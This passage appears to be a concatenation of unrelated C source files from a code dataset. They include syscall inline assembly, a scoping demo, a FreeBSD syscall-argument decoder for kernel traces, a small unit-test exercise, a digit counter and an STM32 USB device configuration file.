__asm__ __volatile__ ("pushl %7 ; push %%ebp ; mov 4(%%esp),%%ebp ; " SYSCALL_INSNS " ; pop %%ebp ; add $4,%%esp" : "=a"(__ret) : "a"(n), "b"(a1), "c"(a2), "d"(a3), "S"(a4), "D"(a5), "g"(a6) : "memory"); #else unsigned long a1a6[2] = { a1, a6 }; __asm__ __volatile__ ("pushl %1 ; push %%ebx ; push %%ebp ; mov 8(%%esp),%%ebx ; mov 4(%%ebx),%%ebp ; mov (%%ebx),%%ebx ; " SYSCALL_INSNS " ; pop %%ebp ; pop %%ebx ; add $4,%%esp" : "=a"(__ret) : "g"(&a1a6), "a"(n), "c"(a2), "d"(a3), "S"(a4), "D"(a5) : "memory"); #endif return __ret; } #define VDSO_USEFUL #define VDSO_CGT_SYM "__vdso_clock_gettime" #define VDSO_CGT_VER "LINUX_2.6" #define SYSCALL_USE_SOCKETCALL
the_stack_data/87638662.c
#include <stdio.h> //This demonstrates the example of variable shadowing. //"extern" means "get this symbol from the enclosing scope", not "get this symbol from some other link unit". //That enclosing scope /may/ be another link unit. int x = 42; int func_0() { int x = 3840; { return x; } } int func_1() { int x = 3840; { extern int x; return x; } } int main(void) { printf("%d", func_1()); return 0; }
the_stack_data/633335.c
#include <stdbool.h> double function() { return false; }
the_stack_data/140766005.c
#define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int u_int ; struct ktr_syscall {int ktr_narg; int ktr_code; int* ktr_args; } ; typedef int register_t ; typedef int intmax_t ; /* Variables and functions */ int F_SETFL ; int O_CREAT ; int PF_INET ; int PF_INET6 ; int SV_ABI_FREEBSD ; int SV_ABI_MASK ; int SV_ILP32 ; #define SYS___acl_aclcheck_fd 239 #define SYS___acl_aclcheck_file 238 #define SYS___acl_aclcheck_link 237 #define SYS___acl_delete_fd 236 #define SYS___acl_delete_file 235 #define SYS___acl_delete_link 234 #define SYS___acl_get_fd 233 #define SYS___acl_get_file 232 #define SYS___acl_get_link 231 #define SYS___acl_set_fd 230 #define SYS___acl_set_file 229 #define SYS___acl_set_link 228 #define SYS___semctl 227 #define SYS__umtx_op 226 #define SYS_access 225 #define SYS_bindat 224 #define SYS_cap_fcntls_limit 223 #define SYS_chflags 222 #define SYS_chflagsat 221 #define SYS_chmod 220 #define SYS_connectat 219 #define SYS_eaccess 218 #define SYS_extattrctl 217 #define SYS_faccessat 216 #define SYS_fchflags 215 #define SYS_fchmod 214 #define SYS_fchmodat 213 #define SYS_fchownat 212 #define SYS_fcntl 211 #define SYS_flock 210 #define SYS_fpathconf 209 #define SYS_freebsd12_shm_open 208 #define SYS_freebsd6_lseek 207 #define SYS_freebsd6_mmap 206 #define SYS_fstatat 205 #define SYS_ftruncate 204 #define SYS_futimesat 203 #define SYS_getfsstat 202 #define SYS_getpriority 201 #define SYS_getrlimit 200 #define SYS_getrusage 199 #define SYS_getsockopt 198 #define SYS_ioctl 197 #define SYS_kill 196 #define SYS_kldsym 195 #define SYS_kldunloadf 194 #define SYS_lchflags 193 #define SYS_lchmod 192 #define SYS_linkat 191 #define SYS_lio_listio 190 #define SYS_lpathconf 189 #define SYS_lseek 188 #define SYS_madvise 187 #define SYS_minherit 186 #define SYS_mkdir 185 #define SYS_mkdirat 184 #define SYS_mkfifo 183 #define SYS_mkfifoat 182 #define SYS_mknodat 181 #define SYS_mlockall 180 #define SYS_mmap 179 #define SYS_mount 178 #define SYS_mprotect 177 #define SYS_msgctl 176 #define SYS_msync 175 #define SYS_nfssvc 174 #define SYS_nmount 173 #define SYS_open 172 #define SYS_openat 171 #define SYS_pathconf 170 #define SYS_posix_fadvise 169 #define SYS_procctl 168 #define SYS_ptrace 167 #define SYS_quotactl 166 #define SYS_readlinkat 165 #define SYS_reboot 164 #define SYS_recvfrom 163 #define SYS_recvmsg 162 #define SYS_renameat 161 #define SYS_rfork 160 #define SYS_rtprio 159 #define SYS_rtprio_thread 158 #define SYS_sched_get_priority_max 157 #define SYS_sched_get_priority_min 156 #define SYS_sched_setscheduler 155 #define SYS_semget 154 #define SYS_sendfile 153 #define SYS_sendmsg 152 #define SYS_sendto 151 #define SYS_setpriority 150 #define SYS_setrlimit 149 #define SYS_setsockopt 148 #define SYS_shmat 147 #define SYS_shmctl 146 #define SYS_shutdown 145 #define SYS_sigaction 144 #define SYS_sigprocmask 143 #define SYS_socket 142 #define SYS_socketpair 141 #define SYS_symlinkat 140 #define SYS_sysarch 139 #define SYS_thr_create 138 #define SYS_thr_kill 137 #define SYS_truncate 136 #define SYS_umask 135 #define SYS_unlinkat 134 #define SYS_unmount 133 #define SYS_utimensat 132 #define SYS_wait4 131 #define SYS_wait6 130 #define UMTX_OP_CV_WAIT 129 #define UMTX_OP_RW_RDLOCK 128 int /*<<< orphan*/ decimal ; int /*<<< orphan*/ decode_fileflags (int) ; int /*<<< orphan*/ decode_filemode (int) ; scalar_t__ fancy ; int /*<<< orphan*/ ioctlname (int) ; int /*<<< orphan*/ print_integer_arg (int /*<<< orphan*/ ,int) ; int /*<<< orphan*/ print_integer_arg_valid (int /*<<< orphan*/ ,int) ; int /*<<< orphan*/ print_mask_arg (int /*<<< orphan*/ ,int) ; int /*<<< orphan*/ print_mask_arg0 (int /*<<< orphan*/ ,int) ; int /*<<< orphan*/ print_mask_arg32 (int /*<<< orphan*/ ,int) ; int /*<<< orphan*/ print_mask_argul (int /*<<< orphan*/ ,int) ; int /*<<< orphan*/ print_number (int*,int,char) ; int /*<<< orphan*/ print_number64 (int*,int*,int,char) ; int /*<<< orphan*/ print_signal (int) ; int /*<<< orphan*/ printf (char*,...) ; int /*<<< orphan*/ putchar (char) ; int /*<<< orphan*/ stdout ; int /*<<< orphan*/ syscallname (int,int) ; int /*<<< orphan*/ sysdecode_access_mode ; int /*<<< orphan*/ sysdecode_acltype ; int /*<<< orphan*/ sysdecode_atfd ; int /*<<< orphan*/ sysdecode_atflags ; int /*<<< orphan*/ sysdecode_cap_fcntlrights ; int /*<<< orphan*/ sysdecode_extattrnamespace ; int /*<<< orphan*/ sysdecode_fadvice ; int /*<<< orphan*/ sysdecode_fcntl_arg (int /*<<< orphan*/ ,int,int,int) ; int /*<<< orphan*/ sysdecode_fcntl_arg_p (int) ; int /*<<< orphan*/ sysdecode_fcntl_cmd ; int /*<<< orphan*/ sysdecode_fcntl_fileflags ; int /*<<< orphan*/ sysdecode_flock_operation ; int /*<<< orphan*/ sysdecode_getfsstat_mode ; int /*<<< orphan*/ sysdecode_getrusage_who ; int /*<<< orphan*/ sysdecode_idtype ; int /*<<< orphan*/ sysdecode_ipproto ; int /*<<< orphan*/ sysdecode_kldsym_cmd ; int /*<<< orphan*/ sysdecode_kldunload_flags ; int /*<<< orphan*/ sysdecode_lio_listio_mode ; int /*<<< orphan*/ sysdecode_madvice ; int /*<<< orphan*/ sysdecode_minherit_inherit ; int /*<<< orphan*/ sysdecode_mlockall_flags ; int /*<<< orphan*/ sysdecode_mmap_flags ; int /*<<< orphan*/ sysdecode_mmap_prot ; int /*<<< orphan*/ sysdecode_mount_flags ; int /*<<< orphan*/ sysdecode_msg_flags ; int /*<<< orphan*/ sysdecode_msgctl_cmd ; int /*<<< orphan*/ sysdecode_msync_flags ; int /*<<< orphan*/ sysdecode_nfssvc_flags ; int /*<<< orphan*/ sysdecode_open_flags ; int /*<<< orphan*/ sysdecode_pathconf_name ; int /*<<< orphan*/ sysdecode_prio_which ; int /*<<< orphan*/ sysdecode_procctl_cmd ; int /*<<< orphan*/ sysdecode_ptrace_request ; int /*<<< orphan*/ sysdecode_quotactl_cmd (int /*<<< orphan*/ ,int) ; int /*<<< orphan*/ sysdecode_reboot_howto ; int /*<<< orphan*/ sysdecode_rfork_flags ; int /*<<< orphan*/ sysdecode_rlimit ; int /*<<< orphan*/ sysdecode_rtprio_function ; int /*<<< orphan*/ sysdecode_scheduler_policy ; int /*<<< orphan*/ sysdecode_semctl_cmd ; int /*<<< orphan*/ sysdecode_semget_flags ; int /*<<< orphan*/ sysdecode_sendfile_flags ; int /*<<< orphan*/ sysdecode_shmat_flags ; int /*<<< orphan*/ sysdecode_shmctl_cmd ; int /*<<< orphan*/ sysdecode_shutdown_how ; int /*<<< orphan*/ sysdecode_sigprocmask_how ; int /*<<< orphan*/ sysdecode_socket_type ; int /*<<< orphan*/ sysdecode_socketdomain ; int /*<<< orphan*/ sysdecode_sockopt_level ; char* sysdecode_sockopt_name (int,int) ; int /*<<< orphan*/ sysdecode_sysarch_number ; int /*<<< orphan*/ sysdecode_thr_create_flags ; int /*<<< orphan*/ sysdecode_umtx_cvwait_flags ; int /*<<< orphan*/ sysdecode_umtx_op ; int /*<<< orphan*/ sysdecode_umtx_rwlock_flags ; int /*<<< orphan*/ sysdecode_wait4_options ; int /*<<< orphan*/ sysdecode_wait6_options ; int /*<<< orphan*/ sysdecode_whence ; void ktrsyscall(struct ktr_syscall *ktr, u_int sv_flags) { int narg = ktr->ktr_narg; register_t *ip, *first; intmax_t arg; int quad_align, quad_slots; syscallname(ktr->ktr_code, sv_flags); ip = first = &ktr->ktr_args[0]; if (narg) { char c = '('; if (fancy && (sv_flags == 0 || (sv_flags & SV_ABI_MASK) == SV_ABI_FREEBSD)) { quad_align = 0; if (sv_flags & SV_ILP32) { #ifdef __powerpc__ quad_align = 1; #endif quad_slots = 2; } else quad_slots = 1; switch (ktr->ktr_code) { case SYS_bindat: case SYS_chflagsat: case SYS_connectat: case SYS_faccessat: case SYS_fchmodat: case SYS_fchownat: case SYS_fstatat: case SYS_futimesat: case SYS_linkat: case SYS_mkdirat: case SYS_mkfifoat: case SYS_mknodat: case SYS_openat: case SYS_readlinkat: case SYS_renameat: case SYS_unlinkat: case SYS_utimensat: putchar('('); print_integer_arg_valid(sysdecode_atfd, *ip); c = ','; ip++; narg--; break; } switch (ktr->ktr_code) { case SYS_ioctl: { print_number(ip, narg, c); putchar(c); ioctlname(*ip); c = ','; ip++; narg--; break; } case SYS_ptrace: putchar('('); print_integer_arg(sysdecode_ptrace_request, *ip); c = ','; ip++; narg--; break; case SYS_access: case SYS_eaccess: case SYS_faccessat: print_number(ip, narg, c); putchar(','); print_mask_arg(sysdecode_access_mode, *ip); ip++; narg--; break; case SYS_open: case SYS_openat: print_number(ip, narg, c); putchar(','); print_mask_arg(sysdecode_open_flags, ip[0]); if ((ip[0] & O_CREAT) == O_CREAT) { putchar(','); decode_filemode(ip[1]); } ip += 2; narg -= 2; break; case SYS_wait4: print_number(ip, narg, c); print_number(ip, narg, c); putchar(','); print_mask_arg0(sysdecode_wait4_options, *ip); ip++; narg--; break; case SYS_wait6: putchar('('); print_integer_arg(sysdecode_idtype, *ip); c = ','; ip++; narg--; print_number64(first, ip, narg, c); print_number(ip, narg, c); putchar(','); print_mask_arg(sysdecode_wait6_options, *ip); ip++; narg--; break; case SYS_chmod: case SYS_fchmod: case SYS_lchmod: case SYS_fchmodat: print_number(ip, narg, c); putchar(','); decode_filemode(*ip); ip++; narg--; break; case SYS_mknodat: print_number(ip, narg, c); putchar(','); decode_filemode(*ip); ip++; narg--; break; case SYS_getfsstat: print_number(ip, narg, c); print_number(ip, narg, c); putchar(','); print_integer_arg(sysdecode_getfsstat_mode, *ip); ip++; narg--; break; case SYS_mount: print_number(ip, narg, c); print_number(ip, narg, c); putchar(','); print_mask_arg(sysdecode_mount_flags, *ip); ip++; narg--; break; case SYS_unmount: print_number(ip, narg, c); putchar(','); print_mask_arg(sysdecode_mount_flags, *ip); ip++; narg--; break; case SYS_recvmsg: case SYS_sendmsg: print_number(ip, narg, c); print_number(ip, narg, c); putchar(','); print_mask_arg0(sysdecode_msg_flags, *ip); ip++; narg--; break; case SYS_recvfrom: case SYS_sendto: print_number(ip, narg, c); print_number(ip, narg, c); print_number(ip, narg, c); putchar(','); print_mask_arg0(sysdecode_msg_flags, *ip); ip++; narg--; break; case SYS_chflags: case SYS_chflagsat: case SYS_fchflags: case SYS_lchflags: print_number(ip, narg, c); putchar(','); decode_fileflags(*ip); ip++; narg--; break; case SYS_kill: print_number(ip, narg, c); putchar(','); print_signal(*ip); ip++; narg--; break; case SYS_reboot: putchar('('); print_mask_arg(sysdecode_reboot_howto, *ip); ip++; narg--; break; case SYS_umask: putchar('('); decode_filemode(*ip); ip++; narg--; break; case SYS_msync: print_number(ip, narg, c); print_number(ip, narg, c); putchar(','); print_mask_arg(sysdecode_msync_flags, *ip); ip++; narg--; break; #ifdef SYS_freebsd6_mmap case SYS_freebsd6_mmap: print_number(ip, narg, c); print_number(ip, narg, c); putchar(','); print_mask_arg(sysdecode_mmap_prot, *ip); putchar(','); ip++; narg--; print_mask_arg(sysdecode_mmap_flags, *ip); ip++; narg--; break; #endif case SYS_mmap: print_number(ip, narg, c); print_number(ip, narg, c); putchar(','); print_mask_arg(sysdecode_mmap_prot, *ip); putchar(','); ip++; narg--; print_mask_arg(sysdecode_mmap_flags, *ip); ip++; narg--; break; case SYS_mprotect: print_number(ip, narg, c); print_number(ip, narg, c); putchar(','); print_mask_arg(sysdecode_mmap_prot, *ip); ip++; narg--; break; case SYS_madvise: print_number(ip, narg, c); print_number(ip, narg, c); putchar(','); print_integer_arg(sysdecode_madvice, *ip); ip++; narg--; break; case SYS_pathconf: case SYS_lpathconf: case SYS_fpathconf: print_number(ip, narg, c); putchar(','); print_integer_arg(sysdecode_pathconf_name, *ip); ip++; narg--; break; case SYS_getpriority: case SYS_setpriority: putchar('('); print_integer_arg(sysdecode_prio_which, *ip); c = ','; ip++; narg--; break; case SYS_fcntl: print_number(ip, narg, c); putchar(','); print_integer_arg(sysdecode_fcntl_cmd, ip[0]); if (sysdecode_fcntl_arg_p(ip[0])) { putchar(','); if (ip[0] == F_SETFL) print_mask_arg( sysdecode_fcntl_fileflags, ip[1]); else sysdecode_fcntl_arg(stdout, ip[0], ip[1], decimal ? 10 : 16); } ip += 2; narg -= 2; break; case SYS_socket: { int sockdomain; putchar('('); sockdomain = *ip; print_integer_arg(sysdecode_socketdomain, sockdomain); ip++; narg--; putchar(','); print_mask_arg(sysdecode_socket_type, *ip); ip++; narg--; if (sockdomain == PF_INET || sockdomain == PF_INET6) { putchar(','); print_integer_arg(sysdecode_ipproto, *ip); ip++; narg--; } c = ','; break; } case SYS_setsockopt: case SYS_getsockopt: { const char *str; print_number(ip, narg, c); putchar(','); print_integer_arg_valid(sysdecode_sockopt_level, *ip); str = sysdecode_sockopt_name(ip[0], ip[1]); if (str != NULL) { printf(",%s", str); ip++; narg--; } ip++; narg--; break; } #ifdef SYS_freebsd6_lseek case SYS_freebsd6_lseek: print_number(ip, narg, c); /* Hidden 'pad' argument, not in lseek(2) */ print_number(ip, narg, c); print_number64(first, ip, narg, c); putchar(','); print_integer_arg(sysdecode_whence, *ip); ip++; narg--; break; #endif case SYS_lseek: print_number(ip, narg, c); print_number64(first, ip, narg, c); putchar(','); print_integer_arg(sysdecode_whence, *ip); ip++; narg--; break; case SYS_flock: print_number(ip, narg, c); putchar(','); print_mask_arg(sysdecode_flock_operation, *ip); ip++; narg--; break; case SYS_mkfifo: case SYS_mkfifoat: case SYS_mkdir: case SYS_mkdirat: print_number(ip, narg, c); putchar(','); decode_filemode(*ip); ip++; narg--; break; case SYS_shutdown: print_number(ip, narg, c); putchar(','); print_integer_arg(sysdecode_shutdown_how, *ip); ip++; narg--; break; case SYS_socketpair: putchar('('); print_integer_arg(sysdecode_socketdomain, *ip); ip++; narg--; putchar(','); print_mask_arg(sysdecode_socket_type, *ip); ip++; narg--; c = ','; break; case SYS_getrlimit: case SYS_setrlimit: putchar('('); print_integer_arg(sysdecode_rlimit, *ip); ip++; narg--; c = ','; break; case SYS_getrusage: putchar('('); print_integer_arg(sysdecode_getrusage_who, *ip); ip++; narg--; c = ','; break; case SYS_quotactl: print_number(ip, narg, c); putchar(','); if (!sysdecode_quotactl_cmd(stdout, *ip)) { if (decimal) printf("<invalid=%d>", (int)*ip); else printf("<invalid=%#x>", (int)*ip); } ip++; narg--; c = ','; break; case SYS_nfssvc: putchar('('); print_integer_arg(sysdecode_nfssvc_flags, *ip); ip++; narg--; c = ','; break; case SYS_rtprio: case SYS_rtprio_thread: putchar('('); print_integer_arg(sysdecode_rtprio_function, *ip); ip++; narg--; c = ','; break; case SYS___semctl: print_number(ip, narg, c); print_number(ip, narg, c); putchar(','); print_integer_arg(sysdecode_semctl_cmd, *ip); ip++; narg--; break; case SYS_semget: print_number(ip, narg, c); print_number(ip, narg, c); putchar(','); print_mask_arg(sysdecode_semget_flags, *ip); ip++; narg--; break; case SYS_msgctl: print_number(ip, narg, c); putchar(','); print_integer_arg(sysdecode_msgctl_cmd, *ip); ip++; narg--; break; case SYS_shmat: print_number(ip, narg, c); print_number(ip, narg, c); putchar(','); print_mask_arg(sysdecode_shmat_flags, *ip); ip++; narg--; break; case SYS_shmctl: print_number(ip, narg, c); putchar(','); print_integer_arg(sysdecode_shmctl_cmd, *ip); ip++; narg--; break; #ifdef SYS_freebsd12_shm_open case SYS_freebsd12_shm_open: print_number(ip, narg, c); putchar(','); print_mask_arg(sysdecode_open_flags, ip[0]); putchar(','); decode_filemode(ip[1]); ip += 2; narg -= 2; break; #endif case SYS_minherit: print_number(ip, narg, c); print_number(ip, narg, c); putchar(','); print_integer_arg(sysdecode_minherit_inherit, *ip); ip++; narg--; break; case SYS_rfork: putchar('('); print_mask_arg(sysdecode_rfork_flags, *ip); ip++; narg--; c = ','; break; case SYS_lio_listio: putchar('('); print_integer_arg(sysdecode_lio_listio_mode, *ip); ip++; narg--; c = ','; break; case SYS_mlockall: putchar('('); print_mask_arg(sysdecode_mlockall_flags, *ip); ip++; narg--; break; case SYS_sched_setscheduler: print_number(ip, narg, c); putchar(','); print_integer_arg(sysdecode_scheduler_policy, *ip); ip++; narg--; break; case SYS_sched_get_priority_max: case SYS_sched_get_priority_min: putchar('('); print_integer_arg(sysdecode_scheduler_policy, *ip); ip++; narg--; break; case SYS_sendfile: print_number(ip, narg, c); print_number(ip, narg, c); print_number(ip, narg, c); print_number(ip, narg, c); print_number(ip, narg, c); print_number(ip, narg, c); putchar(','); print_mask_arg(sysdecode_sendfile_flags, *ip); ip++; narg--; break; case SYS_kldsym: print_number(ip, narg, c); putchar(','); print_integer_arg(sysdecode_kldsym_cmd, *ip); ip++; narg--; break; case SYS_sigprocmask: putchar('('); print_integer_arg(sysdecode_sigprocmask_how, *ip); ip++; narg--; c = ','; break; case SYS___acl_get_file: case SYS___acl_set_file: case SYS___acl_get_fd: case SYS___acl_set_fd: case SYS___acl_delete_file: case SYS___acl_delete_fd: case SYS___acl_aclcheck_file: case SYS___acl_aclcheck_fd: case SYS___acl_get_link: case SYS___acl_set_link: case SYS___acl_delete_link: case SYS___acl_aclcheck_link: print_number(ip, narg, c); putchar(','); print_integer_arg(sysdecode_acltype, *ip); ip++; narg--; break; case SYS_sigaction: putchar('('); print_signal(*ip); ip++; narg--; c = ','; break; case SYS_extattrctl: print_number(ip, narg, c); putchar(','); print_integer_arg(sysdecode_extattrnamespace, *ip); ip++; narg--; break; case SYS_nmount: print_number(ip, narg, c); print_number(ip, narg, c); putchar(','); print_mask_arg(sysdecode_mount_flags, *ip); ip++; narg--; break; case SYS_thr_create: print_number(ip, narg, c); print_number(ip, narg, c); putchar(','); print_mask_arg(sysdecode_thr_create_flags, *ip); ip++; narg--; break; case SYS_thr_kill: print_number(ip, narg, c); putchar(','); print_signal(*ip); ip++; narg--; break; case SYS_kldunloadf: print_number(ip, narg, c); putchar(','); print_integer_arg(sysdecode_kldunload_flags, *ip); ip++; narg--; break; case SYS_linkat: case SYS_renameat: case SYS_symlinkat: print_number(ip, narg, c); putchar(','); print_integer_arg_valid(sysdecode_atfd, *ip); ip++; narg--; print_number(ip, narg, c); break; case SYS_cap_fcntls_limit: print_number(ip, narg, c); putchar(','); arg = *ip; ip++; narg--; print_mask_arg32(sysdecode_cap_fcntlrights, arg); break; case SYS_posix_fadvise: print_number(ip, narg, c); print_number(ip, narg, c); print_number(ip, narg, c); (void)putchar(','); print_integer_arg(sysdecode_fadvice, *ip); ip++; narg--; break; case SYS_procctl: putchar('('); print_integer_arg(sysdecode_idtype, *ip); c = ','; ip++; narg--; print_number64(first, ip, narg, c); putchar(','); print_integer_arg(sysdecode_procctl_cmd, *ip); ip++; narg--; break; case SYS__umtx_op: print_number(ip, narg, c); putchar(','); print_integer_arg(sysdecode_umtx_op, *ip); switch (*ip) { case UMTX_OP_CV_WAIT: ip++; narg--; putchar(','); print_mask_argul( sysdecode_umtx_cvwait_flags, *ip); break; case UMTX_OP_RW_RDLOCK: ip++; narg--; putchar(','); print_mask_argul( sysdecode_umtx_rwlock_flags, *ip); break; } ip++; narg--; break; case SYS_ftruncate: case SYS_truncate: print_number(ip, narg, c); print_number64(first, ip, narg, c); break; case SYS_fchownat: print_number(ip, narg, c); print_number(ip, narg, c); print_number(ip, narg, c); break; case SYS_fstatat: case SYS_utimensat: print_number(ip, narg, c); print_number(ip, narg, c); break; case SYS_unlinkat: print_number(ip, narg, c); break; case SYS_sysarch: putchar('('); print_integer_arg(sysdecode_sysarch_number, *ip); ip++; narg--; c = ','; break; } switch (ktr->ktr_code) { case SYS_chflagsat: case SYS_fchownat: case SYS_faccessat: case SYS_fchmodat: case SYS_fstatat: case SYS_linkat: case SYS_unlinkat: case SYS_utimensat: putchar(','); print_mask_arg0(sysdecode_atflags, *ip); ip++; narg--; break; } } while (narg > 0) { print_number(ip, narg, c); } putchar(')'); } putchar('\n'); }
the_stack_data/1184667.c
#include <stdio.h> #include <assert.h> #define OK_TEMPERATURE 200 #define NOT_OK_TEMPERATURE 500 int alertFailureCount = 0; int networkAlertStub(float celcius) { int returnVal; printf("ALERT: Temperature is %.1f celcius.\n", celcius); // Return 200 for ok // Return 500 for not-ok if(celcius > 200) { returnVal = NOT_OK_TEMPERATURE; } else { returnVal = OK_TEMPERATURE; } return returnVal; } int networkAlert(float celcius) { int returnVal; if(celcius > 200) { returnVal = NOT_OK_TEMPERATURE; } else { returnVal = OK_TEMPERATURE; } return returnVal; } float convertFarenheitToCelcius(float farenheit) { float celcius = (farenheit - 32) * 5 / 9; return celcius; } void alertInCelcius(float farenheit, int (*fnPtrForNetworkAlert)(float)) { float celcius = convertFarenheitToCelcius(farenheit); int returnCode = fnPtrForNetworkAlert(celcius); if (returnCode != 200) { // non-ok response is not an error! Issues happen in life! // let us keep a count of failures to report // However, this code doesn't count failures! // Add a test below to catch this bug. Alter the stub above, if needed. alertFailureCount += 1; } } void testThresholdOfTemperature(void){ int (*fnPtrForNetworkAlert)(float) = networkAlertStub; alertInCelcius(400.5, fnPtrForNetworkAlert); alertInCelcius(303.6, fnPtrForNetworkAlert); assert(alertFailureCount == 1); printf("%d alerts failed.\n", alertFailureCount); printf("All is well (maybe!)\n"); } int main() { testThresholdOfTemperature(); return 0; }
the_stack_data/12541.c
#include <stdio.h> int main(){ int arr[10]; int n, r, i; for (i = 0; i < 10; i++) arr[i] = 0; scanf("%d", &n); while (n != 0) { r = n%10; arr[r]++; n/=10; } printf("Digits:"); for (i = 0; i<10; i++) printf("%2d", i); printf("\nOccurences: "); for (i = 0; i<10; i++) printf("%d", arr[i]); }
the_stack_data/35207.c
/** ****************************************************************************** * @file : usbd_conf.c * @version : v1.0_Cube * @brief : This file implements the board support package for the USB device library ****************************************************************************** * * Copyright (c) 2017 STMicroelectronics International N.V. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted, provided that the following conditions are met: * * 1. Redistribution of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * 3. Neither the name of STMicroelectronics nor the names of other * contributors to this software may be used to endorse or promote products * derived from this software without specific written permission. * 4. This software, including modifications and/or derivative works of this * software, must execute solely and exclusively on microcontroller or * microprocessor devices manufactured by or for STMicroelectronics. * 5. Redistribution and use of this software other than as permitted under * this license is void and will automatically terminate your rights under * this license. * * THIS SOFTWARE IS PROVIDED BY STMICROELECTRONICS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS, IMPLIED OR STATUTORY WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A * PARTICULAR PURPOSE AND NON-INFRINGEMENT OF THIRD PARTY INTELLECTUAL PROPERTY * RIGHTS ARE DISCLAIMED TO THE FULLEST EXTENT PERMITTED BY LAW. IN NO EVENT * SHALL STMICROELECTRONICS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, * OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************** */ /* Includes ------------------------------------------------------------------*/ #ifdef STM32F7 #include "stm32_def.h" #include "usbd_def.h" #include "usbd_core.h" #pragma GCC diagnostic ignored "-Wunused-parameter" //#pragma GCC diagnostic ignored "-Wwrite-strings" //#pragma GCC diagnostic ignored "-Wmissing-field-initializers" //#pragma GCC diagnostic ignored "-Wunused-variable" //#pragma GCC diagnostic ignored "-Wunused-local-typedefs" PCD_HandleTypeDef hpcd_USB_OTG_FS; void Error_Handler(void); /* External functions --------------------------------------------------------*/ void SystemClock_Config(void); /* USER CODE BEGIN 0 */ /* USER CODE END 0 */ /* Private function prototypes -----------------------------------------------*/ /* Private functions ---------------------------------------------------------*/ /* USER CODE BEGIN 1 */ /* USER CODE END 1 */ /******************************************************************************* LL Driver Callbacks (PCD -> USB Device Library) *******************************************************************************/ /* MSP Init */ void HAL_PCD_MspInit(PCD_HandleTypeDef* pcdHandle) { GPIO_InitTypeDef GPIO_InitStruct; if(pcdHandle->Instance==USB_OTG_FS) { /* USER CODE BEGIN USB_OTG_FS_MspInit 0 */ /* USER CODE END USB_OTG_FS_MspInit 0 */ /**USB_OTG_FS GPIO Configuration PA12 ------> USB_OTG_FS_DP PA11 ------> USB_OTG_FS_DM */ GPIO_InitStruct.Pin = GPIO_PIN_12|GPIO_PIN_11; GPIO_InitStruct.Mode = GPIO_MODE_AF_PP; GPIO_InitStruct.Pull = GPIO_NOPULL; GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_VERY_HIGH; GPIO_InitStruct.Alternate = GPIO_AF10_OTG_FS; HAL_GPIO_Init(GPIOA, &GPIO_InitStruct); /* Peripheral clock enable */ __HAL_RCC_USB_OTG_FS_CLK_ENABLE(); /* Peripheral interrupt init */ HAL_NVIC_SetPriority(OTG_FS_IRQn, 5, 0); HAL_NVIC_EnableIRQ(OTG_FS_IRQn); /* USER CODE BEGIN USB_OTG_FS_MspInit 1 */ /* USER CODE END USB_OTG_FS_MspInit 1 */ } } void HAL_PCD_MspDeInit(PCD_HandleTypeDef* pcdHandle) { if(pcdHandle->Instance==USB_OTG_FS) { /* USER CODE BEGIN USB_OTG_FS_MspDeInit 0 */ /* USER CODE END USB_OTG_FS_MspDeInit 0 */ /* Peripheral clock disable */ __HAL_RCC_USB_OTG_FS_CLK_DISABLE(); /**USB_OTG_FS GPIO Configuration PA12 ------> USB_OTG_FS_DP PA11 ------> USB_OTG_FS_DM */ HAL_GPIO_DeInit(GPIOA, GPIO_PIN_12|GPIO_PIN_11); /* Peripheral interrupt Deinit*/ HAL_NVIC_DisableIRQ(OTG_FS_IRQn); /* USER CODE BEGIN USB_OTG_FS_MspDeInit 1 */ /* USER CODE END USB_OTG_FS_MspDeInit 1 */ } } /** * @brief Setup stage callback * @param hpcd: PCD handle * @retval None */ void HAL_PCD_SetupStageCallback(PCD_HandleTypeDef *hpcd) { USBD_LL_SetupStage((USBD_HandleTypeDef*)hpcd->pData, (uint8_t *)hpcd->Setup); } /** * @brief Data Out stage callback. * @param hpcd: PCD handle * @param epnum: Endpoint Number * @retval None */ void HAL_PCD_DataOutStageCallback(PCD_HandleTypeDef *hpcd, uint8_t epnum) { USBD_LL_DataOutStage((USBD_HandleTypeDef*)hpcd->pData, epnum, hpcd->OUT_ep[epnum].xfer_buff); } /** * @brief Data In stage callback.. * @param hpcd: PCD handle * @param epnum: Endpoint Number * @retval None */ void HAL_PCD_DataInStageCallback(PCD_HandleTypeDef *hpcd, uint8_t epnum) { USBD_LL_DataInStage((USBD_HandleTypeDef*)hpcd->pData, epnum, hpcd->IN_ep[epnum].xfer_buff); } /** * @brief SOF callback. * @param hpcd: PCD handle * @retval None */ void HAL_PCD_SOFCallback(PCD_HandleTypeDef *hpcd) { USBD_LL_SOF((USBD_HandleTypeDef*)hpcd->pData); } /** * @brief Reset callback. * @param hpcd: PCD handle * @retval None */ void HAL_PCD_ResetCallback(PCD_HandleTypeDef *hpcd) { USBD_SpeedTypeDef speed = USBD_SPEED_FULL; /*Set USB Current Speed*/ switch (hpcd->Init.speed) { case PCD_SPEED_HIGH: speed = USBD_SPEED_HIGH; break; case PCD_SPEED_FULL: speed = USBD_SPEED_FULL; break; default: speed = USBD_SPEED_FULL; break; } USBD_LL_SetSpeed((USBD_HandleTypeDef*)hpcd->pData, speed); /*Reset Device*/ 